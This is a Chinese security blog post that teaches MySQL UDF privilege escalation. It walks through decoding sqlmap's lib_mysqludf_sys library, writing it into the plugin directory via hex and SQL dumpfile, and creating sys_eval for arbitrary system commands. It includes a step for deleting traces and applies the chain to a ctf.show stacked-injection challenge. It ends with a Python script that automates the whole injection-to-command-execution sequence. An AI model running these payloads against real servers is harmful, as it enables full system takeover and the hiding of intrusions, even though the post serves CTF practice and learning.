【SQL注入】UDF提权命令执行

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一、什么是udf

udf 全称为：user defined function，意为用户自定义函数；用户可以添加自定义的新函数到Mysql中，以达到功能的扩充，调用方式与一般系统自带的函数相同，例如 contact()，user()，version()等函数。

udf 文件后缀一般为 dll，由C、C++编写

二、udf在渗透中的作用

在一般渗透过程中，拿下一台windows服务器的webshell时，由于webshell权限较低，有些操作无法进行，而此时本地恰好存在mysql数据库，那么udf可能就派上用场了；由于windows安装的mysql进程一般都拥有管理员权限，这就意味着用户自定义的函数也拥有管理员权限，我们也就拥有了执行管理员命令的权限，这时新建管理员用户等操作也就轻而易举了，大多数人称为这一操作为udf提权，其实表达不够准确，应该称为通过mysql获得管理员权限。

三、利用条件

利用udf的条件其实还是挺苛刻的

mysql用户权限问题

  • 获得一个数据库账号，拥有对MySQL的insert和delete权限。以root为佳。

  • 拥有将udf.dll写入相应目录的权限。

四、数据库版本问题

udf利用的其中一步，是要将我们的xxx.dll文件上传到mysql检索目录中，mysql各版本的检索目录有所不同：

版本 路径
MySQL < 5.0 导出路径随意；
5.0 <= MySQL< 5.1 需要导出至目标服务器的系统目录（如：c:/windows/system32/）
5.1 < MySQL 必须导出到MySQL安装目录下的lib\plugin文件夹下

一般Lib、Plugin文件夹需要手工建立（可用NTFS ADS流模式突破进而创建文件夹）

五、本地利用过程

1、获取Mysql安装路径

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select @basedir

2、查看可操作路径

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show global variables like "%secure%"

secure_file_priv值为null，表示mysql不允许导入导出，此时我们只能通过别的方法将udf.dll写入安装路径

3、查看plugin目录路径

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select @@plugin_dir

4、将dll上传方式推荐几种

将dll上传到安装路径的方式：

通过webshell上传

以hex方式直接上传

sqlmap中现有的udf文件，分为32位和64位，一定要选择对版本，获取sqlmap的udf方式

5、sqlmap中udf获取方式

自动化注入工具Sqlmap已经集成了此功能。

在 \sqlmap\data\udf\mysql\windows\64目录下存放着lib_mysqludf_sys.dll_

image-20210802180556258

  • 但是sqlmap中自带的shell以及一些二进制文件，为了防止误杀都经过异或编码，不能直接使用

可以利用sqlmap 自带的解码工具cloak.py，在sqlmap\extra\cloak中打开命令行，来对lib_mysqludf_sys.dll_进行解码在，然后在直接利用，输入下面的

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cloak.py -d -i C:\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

image-20210802180926662

接着就会在\sqlmap\data\udf\mysql\windows\64目录下生成一个dll的文件lib_mysqludf_sys.dll，这个我们就可以直接拿来利用

攻击者可以利用lib_mysqludf_sys提供的函数执行系统命令。

函数：

sys_eval，执行任意命令，并将输出返回。

sys_exec，执行任意命令，并将退出码返回。

sys_get，获取一个环境变量。

sys_set，创建或修改一个环境变量。

以我windows系统为例，mysql版本为MySQL5.7.26

注意：攻击过程中，首先需要将lib_mysqludf_sys ( 目标为windows时，lib_mysqludf_sys.dll；linux时，lib_mysqludf_sys.so）上传到数据库能访问的路径下。

image-20210802181450673

  • 直接将刚刚生成的64位windows的dll文件复制到D:\phpstudy8\Extensions\MySQL5.7.26\lib\plugin中，然后再mysql中执行以下语句
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create function sys_eval returns string soname 'udf.dll'

image-20210802181552843

  • 然后就可以任意命令执行了

  • sys_eval，执行任意命令，并将输出返回。

    sys_exec，执行任意命令，并将退出码返回。

    sys_get，获取一个环境变量。

    sys_set，创建或修改一个环境变量。

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select sys_eval('ipconfig')

image-20210802181722479

六、实战情况之一，hex编/解传入mysql系统提权

  • 本地利用的情况，你得已经上传webshell的情况下才能成功。如果你在sql实战中遇到可以使用outfile等上传文件的情况下，如何利用来系统权限命令执行。下面我们先熟悉一下本地测试一下具体情况

为了将这个转换为十六进制，可以借助mysql中的hex函数，先将udf.dll移动到C盘中，这样路径也清晰一些，然后执行下面命令

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select hex(load_file('C:/udf.dll')) into dumpfile 'c:/udf.txt'

image-20210802184049609

成功生成了十六进制形式流

image-20210802184106028

接下来就是把本地的udf16进制形式通过我们已经获得的webshell传到目标主机上。

一、新建一个表，名为udftmp，用于存放本地传来的udf文件的内容。

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create table udftmp (c BLOB)

二、在udftmp中写入udf文件内容

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INSERT INTO udftmp values(unhex('udf文件的16进制格式'))

三、将udf文件内容传入新建的udf文件中，路径根据自己的@@plugin_dir修改 //对于mysql小于5.1的，导出目录为C:\Windows\或C:\Windows\System32\

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select c from udftmp into dumpfile 'D:/phpstudy8/Extensions/MySQL5.7.26/lib/plugin/udf.dll'

四、执行下面语句，就可以system权限下命令任意执行，这电脑就沦陷了，执行命令上面已经说过，就不复述了

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create function sys_eval returns string soname 'udf.dll'

五、删除痕迹，做好事不留名

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DROP TABLE udftmp
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SELECT sys_eval('ipconfig');
返回网卡信息

本地实践了之后，基础知识差不多了解我们做一个实战靶场

题目代码

image-20210802215056685

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$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
  • 测试了一下，明显存在堆叠注入，刚好可以利用堆叠注入，来进行udf来进行命令执行，测试，过滤information、and、or等各种语句无法布尔盲注、时间盲注、报错注入等

image-20210802215137822

好了，废话不多说直接看一下@@plugin_dir的路径来命令执行

image-20210802215552429

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目录/usr/lib/mariadb/plugin/

对方是linux,当然写 一个脚本跑会快一些，我先手工实操一遍，之后就用脚本梭哈，首先根据我之前的方法生成64位linux的udf.so的十六进制形式

image-20210803101639156

由于这是get传参，是有长度限制的，16081的超过限制，会直接被ban了，所以我分按6000长度分为了三个文本文件里面装了udf十六进制三个部分

image-20210803101807533

接着我们将a、b、c三个中里面的十六进制导入到被攻击的机器中

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select 'a部分十六进制' into dumpfile '/usr/lib/mariadb/plugin/a.txt'

image-20210803102052966

为了确认我们是否已经导入load_file来判断

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select load_file('/usr/lib/mariadb/plugin/a.txt')

image-20210803102140360

明显导入成功，照葫芦画瓢，将剩下的b和c导入进去

image-20210803102422360

当明显确定已经都导入成功了a、b、c三部分udf十六进制内容，接着来就是导入so到这个目录就可以命令执行

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select unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'))) into dumpfile '/usr/lib/mariadb/plugin/udf.so'

image-20210803102536467

最后我们创建sys_eval这个函数来进行命令执行

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create function sys_eval returns string soname 'udf.so'

明显获得了命令执行的权限

image-20210803102656908

我们可以看看ip配置

image-20210803102747630

接着就拿这题的flag

image-20210803103022002

七、写个脚本跑

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import requests

url="http://419e5714-21cb-4a29-82d4-cecf0bb82bf7.challenge.ctf.show:8080/api/"
payload = "?id=1';select '{}' into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+"
acquire = "?id=1';select load_file('/usr/lib/mariadb/plugin/{}.txt')--+"
text = ['a','b','c','d']

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udf_text=[]

for i in range(0,20000,5000):
    end = i+5000
    udf_text.append(udf[i:end])

p = dict(zip(text,udf_text))

for t in text:
    param=payload.format(p[t],t)
    get_url = url + param
    res = requests.get(get_url)
    print("[*]",end="")
    code = res.status_code
    print(code,end="")
    if  code==404:
        print("你输入的URL可能出错")
    acq=acquire.format(t)
    data=url+acq
    res = requests.get(url=data)
    if "load_file" in res.text:
        print("-->成功插入{}.txt".format(t))

print("[*]导入udf.so成功")
url_sys_dll = "?id=1%27;select unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'))) into dumpfile '/usr/lib/mariadb/plugin/udf.so' --+"
res= requests.get(url=url+url_sys_dll)
print("[*]创建函数sys_eval()成功")
url_sys_function = "?id=1%27;create function sys_eval returns string soname 'udf.so'--+"
res= requests.get(url=url+url_sys_function)

print("[*]命令执行结果: ")
sys_eval="?id=';select sys_eval('cat /flag.*')--+"
res= requests.get(url=url+sys_eval)
print(res.text)

image-20210803114942859

我的个人博客

孤桜懶契：http://gylq.github.io

本文标题:【SQL注入】UDF提权命令执行

文章作者:孤桜懶契

发布时间:2021年08月03日 - 11:50:46

最后更新:2022年05月20日 - 11:47:45

原始链接:https://gylq.gitee.io/posts/100.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------
欢迎光临
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孤桜懶契
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